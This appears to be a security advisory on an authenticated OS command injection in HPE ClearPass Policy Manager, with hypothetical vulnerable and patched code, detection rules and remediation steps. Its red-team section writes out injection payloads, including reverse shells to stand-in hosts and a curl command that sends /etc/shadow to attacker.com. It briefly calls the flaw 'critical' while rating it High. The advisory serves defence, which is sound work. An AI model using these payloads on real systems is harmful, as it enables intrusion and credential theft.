CVE-2024-26298

Executive Summary

CVE-2024-26298 is a critical vulnerability in the Hewlett Packard Enterprise (HPE) ClearPass Policy Manager web-based management interface. It allows remote authenticated users to execute arbitrary commands on the underlying host with root privileges, leading to complete system compromise. The vulnerability is classified as an OS Command Injection (CWE-78) with a CVSS score of 7.2 (High). No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, given the high impact and the nature of the product (network access control), this vulnerability poses a significant risk to enterprise environments.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires authenticated access to the management interface
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. While the attack requires authentication, the impact is total system compromise. In many deployments, the management interface is exposed to internal networks, and default or weak credentials may be in use.

Deep Dive & Mechanics

The vulnerability resides in the ClearPass Policy Manager web-based management interface. The application fails to properly sanitize user-supplied input before passing it to system commands. An authenticated attacker can craft malicious input that, when processed by the backend, results in arbitrary command execution with root privileges.

Attack Flow:

1. Attacker gains authenticated access to the ClearPass Policy Manager web interface (e.g., via default credentials, phishing, or lateral movement).
2. Attacker identifies an input field (e.g., in configuration, logging, or diagnostic features) that is passed unsanitized to a shell command.
3. Attacker injects command separators (e.g., ;, |, &&) followed by arbitrary commands.
4. The backend executes the injected commands as root, allowing the attacker to install backdoors, exfiltrate data, or pivot to other systems.

Root Cause: Lack of input validation and use of dangerous functions like system(), exec(), or popen() in the backend code.

Vulnerable vs. Patched Code

No official patch or code diff is available. The following is a hypothetical example based on common OS command injection patterns.

Vulnerable Code (Python/Flask example):

import subprocess

@app.route('/diagnostics', methods=['POST'])
def run_diagnostics():
    host = request.form['host']
    # Vulnerable: directly concatenating user input into command
    cmd = "ping -c 4 " + host
    output = subprocess.check_output(cmd, shell=True)
    return output

Patched Code (Python/Flask example):

import subprocess
import shlex

@app.route('/diagnostics', methods=['POST'])
def run_diagnostics():
    host = request.form['host']
    # Patched: using shlex.quote to escape shell metacharacters
    cmd = "ping -c 4 " + shlex.quote(host)
    output = subprocess.check_output(cmd, shell=True)
    return output

Key Difference: The patched version uses shlex.quote() to escape special characters, preventing command injection. Additionally, using subprocess.run() with a list of arguments (without shell=True) is a more secure alternative.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to a vulnerable ClearPass Policy Manager instance (e.g., version 6.9.x or 6.10.x).
• Valid credentials for the web interface (e.g., admin/admin).

Exploitation Steps:

1. Log in to the ClearPass web interface.
2. Navigate to a feature that executes system commands (e.g., Network Diagnostics, Ping/Traceroute).
3. In the target host field, inject a command:

   127.0.0.1; id
   

4. Observe the output of the id command in the response.
5. For a reverse shell:

   127.0.0.1; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
   

6. Set up a listener on the attacker machine:

   nc -lvnp 4444
   

Example Payloads:

• Command Execution: ; whoami
• Reverse Shell: ; bash -c 'exec bash -i &>/dev/tcp/10.0.0.1/4444 <&1'
• Data Exfiltration: ; curl http://attacker.com/$(cat /etc/shadow)

Blue Team (Defensive)

Detection & Response:

1. Monitor for unusual command execution in web server logs (e.g., Apache access logs showing semicolons or pipes).
2. Deploy WAF rules to block common injection patterns (e.g., ;, |, &&).
3. Implement strict input validation and output encoding.
4. Use endpoint detection and response (EDR) to monitor for suspicious processes spawned by the web server.
5. Conduct regular vulnerability scans and apply patches as soon as they become available.

Hunting Queries:

• Search for processes named ping, traceroute, or nslookup spawned by the web server user.
• Look for outbound connections from the ClearPass server to unknown IPs on high ports.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections from ClearPass server to attacker-controlled IPs on ports 4444, 8080, or 80.
  • DNS queries to suspicious domains (e.g., malicious.com).
• Host IOCs:
  • Unexpected processes running as root (e.g., /bin/bash, /bin/sh).
  • Modified system binaries or scripts in /tmp/ or /var/tmp/.
  • New cron jobs or systemd services.
• Log IOCs:
  • Web server logs containing ;, |, &&, or %3B (URL-encoded semicolon).
  • Authentication logs showing successful logins from unusual IPs.

Detection Engineering

YARA Rule

rule CVE_2024_26298_ClearPass_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting HPE ClearPass Policy Manager"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-26298"
    strings:
        $cmd1 = /[;&|`]\s*(ping|traceroute|nslookup|bash|sh|curl|wget|nc|python|perl|ruby)/i
        $cmd2 = /(system|exec|popen|shell_exec|passthru)\s*\(/i
        $cmd3 = /(127\.0\.0\.1|localhost)\s*[;&|]/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-26298 ClearPass Command Injection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects command injection attempts in HPE ClearPass Policy Manager web logs
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&&'
            - '%3B'
            - '%7C'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate use of special characters in input fields (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-26298 ClearPass Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/diagnostics"; http_uri; pcre:"/(?:[;&|`]\s*(?:ping|traceroute|nslookup|bash|sh|curl|wget|nc|python|perl|ruby))/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Limit access to the ClearPass management interface to trusted IPs only (e.g., via firewall rules or VPN).
2. Change Default Credentials: Ensure all accounts use strong, unique passwords.
3. Enable Multi-Factor Authentication (MFA): If supported, require MFA for administrative access.
4. Monitor Logs: Actively monitor web server and system logs for signs of exploitation.

Long-Term Fixes:

1. Apply Vendor Patch: Once HPE releases a security update, apply it immediately.
2. Upgrade Software: Upgrade to the latest supported version of ClearPass Policy Manager.
3. Code Review: If custom integrations exist, review them for similar command injection vulnerabilities.
4. Web Application Firewall (WAF): Deploy a WAF with rules to block command injection attempts.

Workarounds (if patching is not possible):

• Disable the vulnerable diagnostic features if not required.
• Implement input validation at the reverse proxy level (e.g., Nginx or Apache mod_security).

Valters IT